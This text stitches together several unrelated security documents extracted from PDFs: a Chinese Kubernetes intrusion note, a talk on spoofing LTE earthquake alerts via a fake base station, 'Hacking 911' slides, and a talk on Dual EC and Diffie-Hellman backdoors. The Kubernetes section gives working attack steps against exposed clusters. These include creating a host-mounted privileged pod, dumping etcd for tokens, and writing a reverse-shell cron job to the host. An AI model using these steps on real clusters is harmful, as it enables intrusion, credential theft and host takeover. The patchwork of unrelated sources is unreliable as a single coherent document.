k8s全称kubernetes,是一个由google开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。通过k8s可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、
对应用实施状况检查、服务发现和负载均衡等。
组件介绍
如图所示,k8s集群由主控节点(Master node,以下简称master)和工作节点(Worker Node,以下简称node)组成:
master节点负责资源调度,调度应用,维护状态和应用扩容等。
node节点上跑着应用服务,每个Node节点有一个kubelet,负责node与master之间的通信。
Master node组件
1. APIserver集群统一入口,以restful方式,交给etcd存储。用户端一般通过kubectl命令行工具与kube-apiserver进行交互。
2. .Controller-manager 处理集群中常规后台任务,通常一个资源对应一个控制器。
3. Scheduler 节点调度,选择node节点应用部署,负责决定将Pod放在哪个Node上。会对各个节点的负载、性能、数据考虑最优的node。
4. Etcd 存储系统,用于保存集群中相关的数据。
Worker node组件
1. Kubelet Master派到node节点的agent,管理本机容器的各种操作。
2. Kube-proxy 提供网络代理,用来实现负载均衡等操作。
3. Pod 是k8s中的最小部署单元,一组容器的集合,一个pod中的容器是共享网络的。主要是基于docker技术来搭建的。
用户端命令下发通常流程如下:
(1)客户端根据用户需求,调用kube-apiserver相应api;
(2)kube-apiserver根据命令类型,联动master节点内的kube-controller-manager和kube-scheduler等组件,通过kubelet进行下发新建容器配置或下发执行命令等给到对应
node节点;
(3)node节点与容器进行交互完成下发的命令并返回结果;
(4)master节点最终根据任务类型将结果持久化存储在etcd中。
安全机制
访问k8s集群的时候,需要经过三个安全步骤完成具体操作。过程中都要经过apiserver,apiserver做统一协调。
第一步 认证,判断用户是否为能够访问集群的合法用户。
第二步 鉴权,通过鉴权策略决定一个API调用是否合法。
第三步 准入控制,就算通过了上面两步,客户端的调用请求还需要通过准入控制的层层考验,才能获得成功的响应。大致意思就是到了这步还有一个类似acl的列表,如果列表有请
求内容,就通过,否则不通。它以插件的形式运行在API Server进程中,会在鉴权阶段之后,对象被持久化etcd之前,拦截API Server的请求,对请求的资源对象执行自定义(校
验、修改、拒绝等)操作。
序号
认证方式
认证凭据
1
匿名认证
Anonymous requests
2
白名单认证
BasicAuth认证
3
Token认证
Webhooks、ServiceAccount Tokens、OpenID Conne
ct Tokens等
4
X509证书认证
匿名认证一般默认是关闭的。
白名单认证一般是服务启动时加载的basic用户配置文件,并且通常没有更多设置的话basic认证仅仅只能访问但是没有操作权限。
token认证更涉及到对集群和pod的操作,这是我们比较关注的。
X509证书认证是kubernetes组件间内部默认使用的认证方式,同时也是kubectl客户端对应的kube-config中经常使用到的访问凭证,是一种比较安全的认证方式。
当API Server内部通过用户认证后,就会执行用户鉴权流程,即通过鉴权策略决定一个API调用是否合法,API Server目前支持以下鉴权策略
序号
鉴权方式
描述
1
Always
当集群不需要鉴权时选择AlwaysAllow
2
ABAC
基于属性的访问控制
3
RBAC
基于角色的访问控制
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
2/20
4
Node
一种对kubelet进行授权的特殊模式
5
Webhook
通过调用外部REST服务对用户鉴权
Always策略光看描述就知道,生产环境中必定不会存在。
ABAC虽然功能强大,但是难以理解且配置复杂已经被RBAC替代。
RBAC是目前k8s中最主要的鉴权方式。
而Node鉴权策略主要是用于对kubelet发出的请求进行访问控制,限制每个Node只访问它自身运行的Pod及相关Service、Endpoints等信息。 当RBAC无法满足某些特定需求时
候,可自行编写鉴权逻辑并通过Webhook方式注册为kubernetes的授权服务,以实现更加复杂的授权规则。
RBAC、角色、账号、命名空间
RBAC,基于角色的访问控制(Role-Based Access Control)在RBAC中,权限与角色相关联,用户通过成为适当角色的成员而得到这些角色的权限。这就极大地简化了权限的管
理。这样管理都是层级相互依赖的,权限赋予给角色,而把角色又赋予用户
在k8s中,只有对角色的权限控制,访问主体都必须通过角色绑定,绑定成k8s集群中对应的角色,然后根据绑定的角色去访问资源。而每种角色又只能访问它所对应的命名空间中的
资源。 k8s支持多个虚拟集群,它们底层依赖于同一个物理集群。这些虚拟集群被称为命名空间(namespace)。 每个k8s资源只能在一个命名空间中。命名空间是在多个用户之间
划分集群资源的一种方法
命名空间->该空间绑定的系统角色
系统默认4个命名空间:
default--没有指明使用其它名字空间的对象所使用的默认名字空间
kube-system-- Kubernetes 系统创建对象所使用的名字空间
kube-public--此命名空间下的资源可被所有人访问(包括未授权用户)
kube-node-lease--集群之间的心跳维护
RBAC中一直强调角色,这里角色也分为两种,一种是普通角色role,一种是集群角色clusterrole。普通角色role用于平常分配给运行的容器,而集群角色更多承担管理工作
kubectl get ns #查看命名空间
查看普通角色,没有特别指明的话查看都是在default空间中。没有配置的话默认没有
kubectl get role #查看普通角色
指定kube-system空间,可以看到很多系统自带的角色
kubectl get role kube-system
集群角色。集群角色在default和kube-system中都是一样的
kubectl get clusterrole
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
3/20
集群中有个最高权限角色cluster-admin,它的拥有集群所有资源的所有权限。因此如果访问主体绑定到该角色的话,就会引发很大的安全问题
kubectl describe clusterrole cluster-admin -n kube-system
普通的admin权限也比较大,但是比起cluster-admin还是差了太多
kubectl describe clusterrole admin -n kube-system
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
4/20
常见的命令
绑定账号:
比如在集群范围将cluster-admin ClusterRole授予用户user1,user2和group1
kubectl create clusterrolebinding cluster-admin --clusterrole=cluster-admin --user=user1 --user=user2 --group=group1
给服务账号绑定角色
kubectl create clusterrolebinding default-admin --clusterrole=cluster-admin --serviceaccount=kube-system:default
查看所有节点
kubectl get nodes
查看secret
kubectl get secret
查看系统的kubeconfig (查看当前的用户认证)
kubectl config view
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
5/20
列出当前命名空间下的所有 services
kubectl get svc
查看某个service的详细信息
kubectl describe svc kubernetes
切换用户
kubectl config use-context klvchen@kubernetes
secret存储token查询
kubectl describe secret
获取指定secret的token
(账号名在-token前,就叫default)
kubectl describe secret default-token-8h165 -n kube-system
获取管理员用户
kubectl get clusterrolebinding -n kube-system
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
6/20
k8s攻击
未授权访问
未授权访问端口
功能
利用方式
6443,8080
kube-apiserver
未授权访问获取kube-system的token,通过kubectl使用kube-system的token获取pod列表。之
后可进一步创建pod或控制已有pod进行命令执行等操作。
10250,10255
kubelet
kubeletctl批量获取pod等信息,尝试获取pod内/var/run/secrets/kubernetes.io/serviceaccou
n/的token
2379
etcd
导出全量etcd配置,获取k8s认证证书等关键信息,进而通过kubectl创建恶意pod或控制已有po
d,后续可尝试逃逸至宿主机
30000以上
dashboard
配置问题导致可跳过认证进入后台
2375
docker
Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有
事情。
kube-apiserver未授权
6443和8080端口区别
1)本地主机端口
HTTP服务
默认端口8080,修改标识–insecure-port
默认IP是本地主机,修改标识—insecure-bind-address
在HTTP中没有认证和授权检查
主机访问受保护
2)Secure Port
默认端口6443,修改标识—secure-port
默认IP是首个非本地主机的网络接口,修改标识—bind-address
HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file
认证方式,令牌文件或者客户端证书
使用基于策略的授权方式
这两个端口同利用方式,只要其中一个端口没做auth
8080端口访问如下,没做auth会直接列出API列表
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
7/20
6443需要https访问
(这里目标做了需要auth才能访问则会出现:system:anonymous)
查看kube-system命名空间下的所有token,GET:/api/v1/namespaces/kube-system/secrets/
查看所有容器(pods),GET:/api/v1/namespaces/default/pods?limit=500
查看token
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
8/20
所有容器查询
三种利用方式:
1. 请求对应的API接口创建pods执行命令 (允许匿名访问)
2. 利用kubectl (利用token验证,或者允许匿名访问)
3. 利用dashboard界面创建pods (如果存在dashboard,访问/ui就会跳转到)
API请求接口
创建特权容器,POST:/api/v1/namespaces/default/pods
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"
{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":
[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":
{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
9/20
[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":
{"path":"/","type":"Directory"},"name":"host"}]}}
这里我已经创建过test-4444,下图创建的是joker
执行命令,GET:/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami
在用PostMan测试第三条执行命令的时候我出现了"Upgrade request required"(400)
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "Upgrade request required",
"reason": "BadRequest",
"code": 400
}
经过查询发现:
对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。
curl/Postman不支持从http升级到websocket。因此错误。
解决办法就是用wscat工具发送包
wscat -n -c 'https://192.168.249.129:26443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami'
(但是我这里不知道是不是由于8080端口的问题,wscat请求返回为空)
kali的wscat有毛病,必须把http/https换成ws
否则会出现下面错误
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
10/20
找别人测的
接口利用基本就这些,kubectl利用则如下
首先是不使用token看看能不能连的上
kubectl -s <IP>:<PORT> <COMMAND>
利用token连接 (一般用不上,除非不用token连接失败或者用于6443端口验证或者用于dashboard验证)
kubectl -s <IP>:<PORT> --kubeconfig-token get pods
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
11/20
这里kubectl有个坑,版本必须对应上。否则会出现以下错误
Error from(Not Acceptable)
这里用到的是v1.8.7
利用kubectl直接获取pod shell
kubectl get pods #获取所有容器
kubectl -s <IP>:<PORT> --namespace=default exec -it <pods_name> bash
kubectl创建pod
myapp.yaml
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
the command:
kubectl create -f /home/kali/Desktop/myapp.xml
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
12/20
向容器的 /mnt/etc/crontab 写入反弹 shell 的定时任务,因为创建容器时把宿主机的根目录挂载到了容器的/mnt 目录下,所以可以直接影响到宿主机的 crontab
(和docker一样的逃逸方法)
echo -e "* * * * * root bash -i >& /dev/tcp/ip/port 0>&1\n" >> /mnt/etc/crontab
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
13/20
利用dashboard
访问路径:/ui会跳转到/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard/#!/workload?namespace=default
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
14/20
有些需要验证登录的则如下图
上传json (内容是刚刚那个yaml)
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
15/20
比较新的kubernetes是可以直接编辑创建的
fofa没找到未授权的kubernetes,利用方式差不多。也是新建一个pod然后在UI里访问利用
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
16/20
Etcd未授权访问
Etcd是Kubernetes集群中的一个十分重要的组件,是兼具一致性和高可用性的键值数据库,用于保存集群所有的网络配置和对象的状态信息。通常我们用etcd来存储两个重要服
务:
网络插件flannel
kubernetes本身,包括各种对象的状态和元信息配置
其默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。
访问https://IP:2379/v2/keys,有内容,类似{"action":"get","node":{"dir":true}} 这样的,就确定存在未授权访问
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
17/20
Etcd v2和v3是两套不兼容的API,K8s是用的v3,所以需要先通过环境变量设置API为v3
攻击机从 https://github.com/etcd-io/etcd/releases/ 下载 得到etcdctl。通过如下命令可以遍历所有的key:
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport 和--insecure-skip-tls-verify
通过v3 API来dump数据库到 output.data
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -
I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >>
output.data'
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
18/20
从导出的文件里搜关键字ca.crt。根据对应的namespace和token来进行访问
有这个token就可以走6443端口访问了
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="<namespace对应的token>" -n <namespace> get pods
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
19/20
我这里6443出现下面的错误。。8080就可以
Error from server (Forbidden): User "system:serviceaccount:kube-system:default" cannot list pods in the namespace "kube-system". (get pods)
拿到token后跟之前一样创建test_config控制集群
Kubectl Proxy命令未安全使用
k8s server执行
设置API server接收所有主机的请求:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
之后就可以通过特定端口访问k8s集群
kubectl -s http://192.168.1.101:8009 get pods -n kube-system
参考链接:
https://buaq.net/go-98824.html
http://f5.pm/go-103737.html
https://www.kingkk.com/2020/03/Kubernetes%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%E5%92%8C%E4%B8%80%E4%BA%9B%E6%9C%AA%E6%8E%88%E6
https://github.com/zj1244/Blog/issues/6
https://www.jianshu.com/p/e443b3171253
2022/3/17 16:07
Evernote Export
file:///C:/Users/jiushi/Desktop/k8s未授权.html
20/20
https://kubernetes.io/zh/docs/reference/kubectl/cheatsheet/
https://blog.51cto.com/hequan/2406680
https://blog.csdn.net/BigData_Mining/article/details/88529157 | pdf |
警告:10级地震将在一分钟内发生
李伟光
[email protected]
!
360 独角兽团队
演讲内容
01 关于公共预警系统与LTE网络
02 LTE协议中的漏洞
03 触发漏洞
a. 搭建一个伪基站
b. 伪造虚假的预警消息
04 结论!
01
公共预警系统与LTE网络
针对这些灾害对公众发出警告信息
PWS警告系统遍布全球
ETWS
KPAS
EU-ALERT
CMAS
• 2018年1月的夏威夷导弹警报
新闻
• 2018年1月的夏威夷导弹警报
新闻
02
LTE协议中的漏洞
LTE协议中的漏洞
1.
目前的标准中并未加入对警报信息的签名等验证信息.
2.
手机在进行小区重选的时候,如果没有触发位置区更新流程(TAU),
手机是不会对基站的合法性进行甄别!
!
Attack!vector
03
触发漏洞
如何搭建一个LTE伪基站
USRP!B210
ThinkPad!
srsLTE!/srsENB
硬件
软件
使之像正常基站一样工作
获取当前合法基站的配置参数
在srsENB平台上进行配置
用于发现LTE网络的应用软件
srsLTE配置文件
PWS!Message's!Carrier—System!Information!Block
SIB(Type(1(
SIB!scheduling!information
SIB(Type(2(
Common!and!shared!channel!
information
SIB(Type(3(
Cell!re-selection!information!
SIB(Type(4(
Cell!re-selection!information!
intra-frequency!neighbor!
information
SIB(Type(5(
Cell!re-selection!information!
Intra-frequency!neighbor!
information
SIB(Type(6(
Cell!re-selection!information!
for!UTRA
SIB(Type(7(
Cell!re-selection!information!
for!GERAN
SIB(Type(8(
Cell-re-selection!information!
for!CDMA2000
SIB(Type(9(
Home!eNB!identifier
SIB(Type(10(
ETWS!primary!notification!
(Japan)
SIB(Type(11(
ETWS!Secondary!Notification!
(Japan)
SIB(Type(12(
EU-Alert!(Europe)!
KPAS!(South!Korea)!
CMAS!notification(USA)!
伪造ETWS警报消息
警报消息的四个主要部分
• SIB!10!:第一级警报信息(直接携带警报消息)
• SIB!11!:第二级警报信息(直接携带警报消息)
• Paging!:向用户手机提示有警报消息需要接收
• SIB!1:!SIB 1负责对SIB10以及SIB11的调度
ETWS第一级警报信息
• ETWS第一级警报信息中不能包含某些特定的消息内容.
发送ETWS第一级警报信息的主要源代码
虚假地震预警演示
• 自定义内容
• ETWS第二级警报信息支持消息细分
• 它支持GSM-7和UCS-2字符编码标准
ETWS第二级警报信息
ETWS第二级警报信息
发送ETWS第二级警报信息的源代码
不仅仅是警告信息
• 将消息标识符设置为0x1104而不是0x1102
• 没有响亮的警报声,只是温和的铃声
• 警告邮件可伪装成垃圾邮件,其中可能包含广告,网上诱骗网
站或欺诈邮件
Google Pixel实验演示
(a)英文地震警告信息
(b)中文地震警告信息
(c)包含钓鱼网站链接的垃圾邮件
(d)包含诈骗电话的垃圾邮件
(a)!
(b)!
(c)!
(d)!
网络钓鱼警告消息演示
iPhone实验演示
l 由于PWS不是所有国家的强制性规范,不同型
号的手机可能会有不同的反应.
l 我们测试的iPhone不响应主ETWS警告消息,但
它可以响应辅助ETWS警告消息.
l 国行版的苹果手机也仅在MCC为001,MNC为01的
测试网络中对警报信息作出响应
iPhone’s!Response
iPhone的实验演示
结论
风险 &缓解
潜在风险
警告:一分钟后将发生10级地震
接下来会发生什么?
这会造成巨大的恐慌,甚至发生踩踏事件,造成难以想象的
后果
减轻危害
• 验证虚假基站的真实性
1.防止手机接入伪基站,在满足了小区重选准则后,
手机还要通过判断广播消息的中的数字签名。数字签
名是由网络侧的私钥进行计算并且添加到广播消息中
的。
2.仅仅在接收到pws消息的时候进行验证,同样时候
使用非对称加密的方式。
减轻危害
Network(signs(the(PWS(messages
Security)Algorithm
Security)Algorithm
K-SIG
K-SIG
System)Info
System)Info
Time)Counter
Time)Counter
System)Info
System)Info
Digital)
Signature
Digital)
Signature
Protected)System)Info
LSBs)of)Time)
Count
LSBs)of)Time)
Count
Q/A((
Thank(You( | pdf |
Hacking 911:
Adventures in Disruption,
Destruction, and Death
quaddi, r3plicant & Peter Hefley
August 2014
Jeff Tully
Christian Dameff
Peter Hefley
Physician, MD
Emergency Medicine
Physician, MD
Pediatrics
IT Security, MSM, C|CISO, CISA, CISSP, CCNP, QSA
Senior Manager, Sunera
Jeff Tully
Christian Dameff
Peter Hefley
Open CTF champion sudoers- Defcon 16
Speaker, Defcon 20
Wrote a program for his TI-83
graphing calculator in middle school
Speaker, Defcon 20
Gun hacker, SBR aficianado
This talk is neither sponsored,
endorsed, or affiliated with any of our
respective professional institutions or
companies.
No unethical or illegal practices were
used in researching, acquiring, or
presenting the information contained in
this talk.
Do not attempt the theoretical or
practical attack concepts outlined in
this talk.
Disclaimer
Outline
- Why This Matters (Pt. 1)
- 911 Overview
- Methodology
- Attacks
- Why This Matters (Pt. 2)
Why This Matters (Pt. 1)
4/26/2003 9:57pm
Emergency Medical Services (EMS)
Research Aims
• Investigate potential vulnerabilities
across the entire 911 system
• Detail current attacks being carried out on
the 911 system
• Propose solutions for existing
vulnerabilities and anticipate potential
vectors for future infrastructure
modifications
Methodology
• Interviews
• Regional surveys
• Process observations
• Practical experimentation
• Solution development
Wired Telephone Call
End
Office
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice + ANI
Voice + ANI
ANI
ALI
Wireless Phase 1 Telephone Call
Mobile
Switching
Center
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice + pANI/ESRK
Voice + pANI/ESRK
pANI / ESRK
ALI
Cell Tower
Voice
Callback # (CBN)
Cell Tower Location
Cell Tower Sector
pANI / ESRK
CBN, Cell Tower Location,
Cell Tower Sector, pANI / ESRK
Mobile
Positioning
Center
Wireless Phase 1 Data
Wireless Phase 2 Telephone Call
Mobile
Switching
Center
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice + pANI/ESRK
Voice + pANI/ESRK
pANI / ESRK
ALI
Cell Tower
Voice
Callback #
Cell Tower Location
Cell Tower Sector
pANI / ESRK
Latitude and Longitude,
Callback #, Cell Tower Location,
Cell Tower Sector, pANI / ESRK
Position
Determination
Equipment
Mobile
Positioning
Center
Voice
Wireless Phase 2 Data
VoIP Call
Emergency
Services
Gateway
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
VoIP +
CBN
Voice + ESQK
Voice + ESQK
ESQK
ALI
VoIP
Service
Provider
CBN
ESN#, ESQK
CBN, Location, ESQK
VoIP +
CBN
VSP
Database
The Three Goals of
Hacking 911
•
Initiate inappropriate 911
response
•
Interfere with an
appropriate 911 response
•
911 system surveillance
Wired – End Office Control
End
Office
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice + !%$#
Voice + !%$#
!%$#
ALI??
ALI Database
NSI Emergency Calls
Mobile
Switching
Center
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice +
pANI/ESRK
Voice +
pANI/ESRK
pANI / ESRK
ALI
Cell Tower
CBN?
Cell Tower Location
Cell Tower Sector
pANI / ESRK
CBN, Cell Tower Location,
Cell Tower Sector, pANI / ESRK
CBN = 911 + last 7 of
ESN/IMEI
Voice
Voice
Mobile
Positioning
Center
Wireless Location Modification
Mobile
Switching
Center
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice +
pANI/ESRK
Voice +
pANI/ESRK
pANI / ESRK
ALI
Cell Tower
Callback #
Cell Tower Location
Cell Tower Sector
pANI / ESRK
!@#Lat/Long%%$,
Callback #, Cell Tower Location,
Cell Tower Sector, pANI / ESRK
Position
Determination
Equipment
Mobile
Positioning
Center
Voice
VSP Modification
Emergency
Services
Gateway
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
VoIP +
CBN
Voice + ESQK
Voice + ESQK
ESQK
#ALI@
VoIP
Service
Provider
CBN
ESN#, ESQK
VSP
Database
CBN, #%Location$@, ESQK
VoIP +
CBN
Swatting Call
VoIP Service Providers
Service disruption attacks
• Line-cutting
• Cell phone jamming
• ALI database editing
• TDoS
• PSAP targeting
Resource exhaustion
(virtual/personnel)
Outdated system
architectures
Lack of air-gapping
Privacy
Health
Impacts
Bystander CCO CPR Improves Chance of
Survival from Cardiac Arrest
100%
80%
60%
40%
20%
0%
Time between collapse and defibrillation (min)
0 1 2 3 4 5 6 7 8 9
Survival (%)
Nagao, K Current Opinions in Critical Care 2009
EMS Arrival Time based on TFD 90% Code 3 Response in FY2008. Standards of Response Coverage 2008.
EMS Arrival
No CPR
Traditional
CPR
CCO CPR
Strategic Threat Agents
• 6000 PSAPs taking a combined
660,000 calls per day
• Fundamental building block of
our collective security
• Potential damage extends beyond
individual people not being able
to talk to 911
Reverse 911
Solutions
•
Call-routing red flags
•
Call “captchas”
•
PSAP security
standardizations
•
Increased budgets for
security services
•
Open the Black Box
Q&A | pdf |
那些年年的密碼學後⾨門
講者 : OAlienO
⽬目錄
1. Cryptographic Backdoor
✦ 重要性
✦ 種類
2. Dual EC Backdoor
✦ 介紹
✦ 隨機數很重要嗎?
✦ 後⾨門原理理
✦ 故事時間
3. Diffie Hellman Backdoor
✦ 複習時間
✦ Everybody Backdoor
✦ Nobody-But-Us Backdoor
4. Conclusion
Cryptographic Backdoor
Cryptographic Backdoor - 重要性
網路路通訊⼗十分依賴密碼系統
各國都想要 監聽網路路通訊
密碼學後⾨門
Cryptographic Backdoor - 種類
Everybody Backdoors :
所有⼈人都可以進來來的後⾨門,與其說後⾨門,不如說是故意設置的漏洞洞
Nobody-But-Us ( NOBUS ) Backdoors
只有擁有⾦金金鑰的⼈人才能⽤用的後⾨門,真正的後⾨門
Dual EC Backdoor
Dual EC - 介紹
Dual EC 是⼀一個偽隨機數產⽣生器 ( pseudorandom number generator )
剛公布 Dual EC 的時候他就有許多問題
1. 比其他的 PRNG 慢
2. 產⽣生的隨機數沒有那麼隨機 ( biased )
3. 可能有後⾨門存在這個 PRNG
Dual EC - 隨機數很重要嗎 ?
1. DSA - private key
2. AES - iv, key
3. RSA - p, q
4. …
許多的密碼系統都需要隨機數
當我們能預測這些隨機數,差不多就等同於我們可以破解他
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
Dual EC 有兩兩個版本 :
Dual EC 2006
Dual EC 2007
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
Dual EC 2006
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
256 bits 整數
P, Q 是在 Elliptic Curve 上的點
丟掉 16 bits
輸出
不可逆函式
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
橢圓曲線 ( Elliptic Curve ) ?
就是滿⾜足下⾯面⽅方程式的⼀一堆點
在密碼學我們是⽤用這個
有了了⼀一堆點形成的集合
再定義⼀一個加法運算
我們就得到了了⼀一個群
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
兩兩個在 Elliptic Curve 上的點怎麼加法 ?
切線交點對 x 軸鏡射
A
B
+
= C
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
我們的不可逆函式就是⼀一個
ECDLP ( Elliptic Curve Discrete Logarithm Problem )
這是個非常難的問題,所以可以把他當作不可逆函式
就是
這個點的 x 座標
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
有了了不可逆函式
我們沒辦法從輸出 r 反推內部狀狀態 s
也就沒辦法從內部狀狀態 s 往下預測接下來來的輸出
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
It sounds perfect
What could possibly go wrong ?
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
如果攻擊者知道
使得
那丟掉的 16 bits 怎麼辦 ?
直接暴暴⼒力力嘗試
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
知道
得天下
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
他其實還有⼀一個功能
可以在輸出完將⽬目前的內部狀狀態 xor ⼀一個 additional input
但是這個功能會損壞後⾨門,讓後⾨門不好⽤用
使⽤用者可以選擇要不要⽤用
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
我們沒辦法從
求出
無法還原內部結構 s2
還原內部結構 s3
要求的輸出超過兩兩個區塊
不受影響
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
Dual EC 2007
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
Dual EC 2007 修好了了後⾨門
我們同樣可以從 s1P 推出 s2 以及接下來來的狀狀態
但是還是需要猜 additional input
Dual EC - 後⾨門原理理
https://projectbullrun.org/dual-ec/documents/dual-ec-20150731.pdf
所以真的有後⾨門嗎 ?
求 d 是個 ECDLP
我們知道可能有後⾨門但不能證明有
直到 Edward Snowden 洩漏出 NSA 的⽂文件 XD
NIST SP 800-90 裡⾯面完全沒提到 P, Q 從哪裡來來的
Dual EC - 故事時間
https://csrc.nist.gov/csrc/media/projects/crypto-standards-development-process/documents/dualec_in_x982_and_sp800-90.pdf
Dual EC - 故事時間
https://eprint.iacr.org/2006/190.pdf
2006 / 05 / 29
論⽂文提出 Dual EC 的輸出沒有很隨機
Dual EC - 故事時間
http://rump2007.cr.yp.to/15-shumow.pdf
2007 / 08
Crypto 2007 rump session
Microsoft ⼈人員提出 Dual EC 可能有後⾨門
Dual EC - 故事時間
https://www.wired.com/2007/11/securitymatters-1115/
2007 / 11 / 15
⼀一篇部落落格談論 Dual EC 是不是真的有後⾨門
Dual EC - 故事時間
https://csrc.nist.gov/projects/cryptographic-algorithm-validation-program/validation/validation-list/drbg
2008 / 07 / 03
RSA BSAFE 採⽤用 Dual EC
Dual EC - 故事時間
https://csrc.nist.gov/projects/cryptographic-algorithm-validation-program/validation/validation-list/drbg
2009 / 09 / 30
Windows 7 採⽤用 Dual EC
Dual EC - 故事時間
https://en.wikipedia.org/wiki/File:Classification_guide_for_Project_BULLRUN.pdf
2013
Snowden leaks - Project BULLRUN
驗證後⾨門真的存在
Dual EC - 故事時間
https://www.theverge.com/2013/12/20/5231006/nsa-paid-10-million-for-a-back-door-into-rsa-encryption-according-to
2013 / 12 / 20
NSA 給 RSA ⼀一千萬美⾦金金
將 Dual EC 設為 BSAFE 的 預設 隨機產⽣生器
Dual EC - 故事時間
https://www.cbronline.com/news/iso-nsa
2018 / 04 / 27
ISO 拒絕 將
NSA 設計的 Simon & Speck 列列為標準
Diffie Hellman Backdoor
Diffie Hellman Backdoor - 複習
群 ( Group )
簡⽽而⾔言之 : 群就是 ⼀一個集合 + ⼀一個運算元 滿⾜足 ⼀一些條件
Diffie Hellman Backdoor - 複習
Order
Diffie Hellman Backdoor - 複習
Smooth Number
Diffie Hellman Backdoor - 複習
什什麼是 Diffie Hellman ?
Diffie Hellman Backdoor - 複習
Discrete Logarithm Problem ( DLP )
Diffie Hellman Backdoor - 複習
Pollard’s Rho Algorithm
⽤用來來解 Discrete Logarithm Problem
